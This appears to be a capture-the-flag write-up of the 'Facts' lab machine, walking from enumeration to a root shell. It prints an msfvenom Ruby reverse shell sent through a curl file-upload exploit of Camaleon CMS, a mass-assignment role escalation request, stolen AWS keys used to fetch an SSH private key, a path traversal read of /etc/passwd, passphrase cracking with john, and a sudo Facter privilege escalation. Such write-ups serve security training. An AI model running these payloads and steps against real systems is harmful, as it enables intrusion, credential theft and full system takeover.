Facts

Tools

  • ffuf
  • msfvenom
  • aws
  • john

Getting User

Nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sC -sV -p22,80 10.129.67.182
[sudo] password for kali:
Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-03 02:28 EST
Nmap scan report for 10.129.67.182
Host is up (0.14s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.9p1 Ubuntu 3ubuntu3.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 4d:d7:b2:8c:d4:df:57:9c:a4:2f:df:c6:e3:01:29:89 (ECDSA)
|_ 256 a3:ad:6b:2f:4a:bf:6f:48:ac:81:b9:45:3f:de:fb:87 (ED25519)
80/tcp open http nginx 1.26.3 (Ubuntu)
|_http-server-header: nginx/1.26.3 (Ubuntu)
|_http-title: Did not follow redirect to http://facts.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.74 seconds

Foothold

added the domain I found from nmap to hosts file

1
2
3
┌──(kali㉿kali)-[~]
└─$ echo "10.129.67.182 facts.htb" | sudo tee -a /etc/hosts
10.129.67.182 facts.htb

found nothing on the website

used ffuf to enumerate directories and only found an admin login page

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
                                                                                                                                                                   
┌──(kali㉿kali)-[~]
└─$ ffuf -c -u http://facts.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 302

/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/

v2.1.0-dev
________________________________________________

:: Method : GET
:: URL : http://facts.htb/FUZZ
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/common.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 302
________________________________________________

admin [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 1658ms]
admin.cgi [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 1596ms]
admin.php [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 1596ms]
admin.pl [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 1538ms]

from the admin’s page source, I see it’s using Camaleon CMS

I created an account and logged in

from the dashboard I see its using Camaleon CMS v2.9.0

I found that this version is vulnerable to arbitrary file write to RCE CVE-2024-46986

used msfvenom to get ruby reverse shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(kali㉿kali)-[~]
└─$ msfvenom -p ruby/shell_reverse_tcp LHOST=10.10.16.253 LPORT=1111 -f raw
[-] No platform was selected, choosing Msf::Module::Platform::Ruby from the payload
[-] No arch selected, selecting arch: ruby from the payload
No encoder specified, outputting raw payload
Payload size: 512 bytes
code = %(cmVxdWlyZSAnc29ja2V0JztjPVRDUFNvY2tldC5uZXcoIjEwLjEwLjE2LjI1MyIsIDExMTEpOyRzdGRpbi5yZW9wZW4oYyk7JHN0ZG91dC5yZW9wZW4oYyk7JHN0ZGVyci5yZW9wZW4oYyk7JHN0ZGluLmVhY2hfbGluZXt8bHxsPWwuc3RyaXA7bmV4dCBpZiBsLmxlbmd0aD09MDsoSU8ucG9wZW4obCwicmIiKXt8ZmR8IGZkLmVhY2hfbGluZSB7fG98IGMucHV0cyhvLnN0cmlwKSB9fSkgcmVzY3VlIG5pbCB9).unpack(%(m0)).first
if RUBY_PLATFORM =~ /mswin|mingw|win32/
inp = IO.popen(%(ruby), %(wb)) rescue nil
if inp
inp.write(code)
inp.close
end
else
if ! Process.fork()
eval(code) rescue nil
end
end

opened listener on port 1111

1
2
3
┌──(kali㉿kali)-[~]
└─$ nc -lnvp 1111
listening on [any] 1111

then ran this curl command I crafted using this PoC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
curl --path-as-is -i -k -X POST \
-H "User-Agent: Mozilla/5.0" \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary80dMC9jX3srWAsga" \
-H "Accept: */*" \
-H "Connection: keep-alive" \
-b "auth_token=I3ExHa3Uk7VabxPEJS-t3w&Mozilla%2F5.0+%28X11%3B+Linux+x86_64%3B+rv%3A140.0%29+Gecko%2F20100101+Firefox%2F140.0&10.10.16.253; _cms_session=ebMWXPFluZMQYinEMfYjodPlWdB08QeHD0kS3Jx6ril%2BCtixeiuWeKipZn2N1KZ0Vnns9mcV%2FcN1PoTgUuSQpqTJ0m6xQOPogd627SjbZHc2j%2F81s5kMDMTIO7XkrBs1QfoO8b8%2FBZvJwBTbxpWrCCl%2BiUMSRGlS8%2BYdr3FUXKI9Dxs%2FkG%2FC3OtcDtaMokkbPfBTg1gTCoHB4396ThKbRZ8BDwvxZFvwDGdOWHZ%2Fy%2F7XoehMpvYyHh9TCh24d9hjtWJp7p2%2FPItCcYsZs8tu7gazP%2FLPquRi3mFoC8F36hfCHyXQRJPUX7GCLDcnaJTaUREcLwlnf6HtEuhmXVKMuPJtI0wsEz2uCcsLV5Mg2%2BEcc5zwkIq06rY%3D--iwSUUaHi9xvjGIOi--Z0IEQ4Pz8pmIc0WTW%2BIKig%3D%3D" \
--data-binary $'------WebKitFormBoundary80dMC9jX3srWAsga\r
Content-Disposition: form-data; name="file_upload"; filename="reverse_shell.rb"\r
Content-Type: text/x-ruby-script\r
\r
code = %(cmVxdWlyZSAnc29ja2V0JztjPVRDUFNvY2tldC5uZXcoIjEwLjEwLjE2LjI1MyIsIDExMTEpOyRzdGRpbi5yZW9wZW4oYyk7JHN0ZG91dC5yZW9wZW4oYyk7JHN0ZGVyci5yZW9wZW4oYyk7JHN0ZGluLmVhY2hfbGluZXt8bHxsPWwuc3RyaXA7bmV4dCBpZiBsLmxlbmd0aD09MDsoSU8ucG9wZW4obCwicmIiKXt8ZmR8IGZkLmVhY2hfbGluZSB7fG98IGMucHV0cyhvLnN0cmlwKSB9fSkgcmVzY3VlIG5pbCB9).unpack(%(m0)).first
if RUBY_PLATFORM =~ /mswin|mingw|win32/
inp = IO.popen(%(ruby), %(wb)) rescue nil
if inp
inp.write(code)
inp.close
end
else
if ! Process.fork()
eval(code) rescue nil
end
end
\r
------WebKitFormBoundary80dMC9jX3srWAsga\r
Content-Disposition: form-data; name="folder"\r
\r
config/initializers/\r
------WebKitFormBoundary80dMC9jX3srWAsga\r
Content-Disposition: form-data; name="skip_auto_crop"\r
\r
true\r
------WebKitFormBoundary80dMC9jX3srWAsga--\r
' \
"http://facts.htb/admin/media/upload?actions=false"

nothing happened, i didnt get a shell; probably because the app needs to restart to run initializers

I found another vulnerability Privilege Escalation through a Mass Assignment CVE-2025-2304
when changing the password i can change my account’s role
I used Burp to change the body parameters when updating the password and added password[role]=admin

1
_method=patch&authenticity_token=6lfF7b06ksK9y8_cZ8gt2bjYKos_0LuoD6aGNq1Z8LApEzVOaKgw9S6_119Vi8mCs3o-JBnSywNDyozlGBnIrw&password%5Bpassword%5D=123123&password%5Bpassword_confirmation%5D=123123&password[role]=admin

this changed my role in the web app to admin

I found AWS credentials in the app settings

1
2
3
4
5
Aws s3 access key: AKIA2B045A1EC7ECB599
Aws s3 secret key: 4KhI5a8FrDSUhcSiXUI64i7aF2O1dvIPFFLWFSiY
Aws s3 region: us-east-1
Aws s3 bucket name: randomfacts
Aws s3 bucket endpoint: http://localhost:54321

installed awscli and configured it using aws configure

1
2
3
4
5
6
7
┌──(kali㉿kali)-[~]
└─$ aws configure

AWS Access Key ID [None]: AKIACB236F85B353263F
AWS Secret Access Key [None]: nsThnSn7O3E2mYIMt48tINvctLxlVp5zbu4rLhQe
Default region name [None]: us-east-1
Default output format [None]: json

now I can traverse the the list of buckets and the buckets

1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(kali㉿kali)-[~]
└─$ aws --endpoint-url http://10.129.67.182:54321 s3 ls
2025-09-11 08:06:52 internal
2025-09-11 08:06:52 randomfacts

┌──(kali㉿kali)-[~]
└─$ aws --endpoint-url http://10.129.67.182:54321 s3 ls s3://internal
PRE .bundle/
PRE .cache/
PRE .ssh/
2026-01-08 13:45:13 220 .bash_logout
2026-01-08 13:45:13 3900 .bashrc
2026-01-08 13:47:17 20 .lesshst
2026-01-08 13:47:17 807 .profile

there’s a private key in in this bucket
I downloaded the keys

1
2
3
4
5
6
7
┌──(kali㉿kali)-[~/HackTheBox]
└─$ aws --endpoint-url http://10.129.68.200:54321 s3 cp s3://internal/.ssh/id_ed25519 .
download: s3://internal/.ssh/id_ed25519 to ./id_ed25519

┌──(kali㉿kali)-[~/HackTheBox]
└─$ aws --endpoint-url http://10.129.68.200:54321 s3 cp s3://internal/.ssh/authorized_keys .
download: s3://internal/.ssh/authorized_keys to ./authorized_keys

and fixed the key permissions chmod 600 id_ed25519

now I need to find out what user this key belongs to

this version of Camaleon is also vulnerable to Arbirary path traversal CVE-2024-46987
I downloaded the file http://facts.htb/admin/media/download_private_file?file=../../../../../../etc/passwd
tried the key against the usernames and it belonged to the user trivia but its protected with a passphrase

1
2
3
4
┌──(kali㉿kali)-[~/HackTheBox/facts]
└─$ ssh -i id_ed25519 trivia@10.129.68.200
Enter passphrase for key 'id_ed25519':

i converted the key to hash ssh2john id_ed25519 > id_ed25519.hash
then cracked it using john

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(kali㉿kali)-[~/HackTheBox/facts]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt id_ed25519.hash

Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 24 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:56 0.01% (ETA: 2026-02-09 15:24) 0g/s 36.51p/s 36.51c/s 36.51C/s slimshady..jonathan1
0g 0:00:01:00 0.01% (ETA: 2026-02-09 14:38) 0g/s 36.61p/s 36.61c/s 36.61C/s bamboo..famous
dragonballz (id_ed25519)
1g 0:00:01:28 DONE (2026-02-04 01:41) 0.01134g/s 36.31p/s 36.31c/s 36.31C/s grecia..imissu
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

the passphrase is dragonballz

logged in and found the key in /home/william directory


Getting Root

Information Gathering

checked commands i can execute with sudo and there’s /usr/bin/facter

1
2
3
4
5
6
trivia@facts:/home/william$ sudo -l
Matching Defaults entries for trivia on facts:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User trivia may run the following commands on facts:
(ALL) NOPASSWD: /usr/bin/facter

Privilege Escalation

i’m going to create a malicious custom fact

1
2
3
4
5
6
7
trivia@facts:/tmp$ cat << 'EOF' > /tmp/pwn.rb
Facter.add(:pwn) do
setcode do
exec("/bin/bash")
end
end
EOF

ran the custom fact and got the root shell and the flag

1
2
trivia@facts:/tmp$ sudo /usr/bin/facter --custom-dir /tmp pwn
root@facts:/tmp#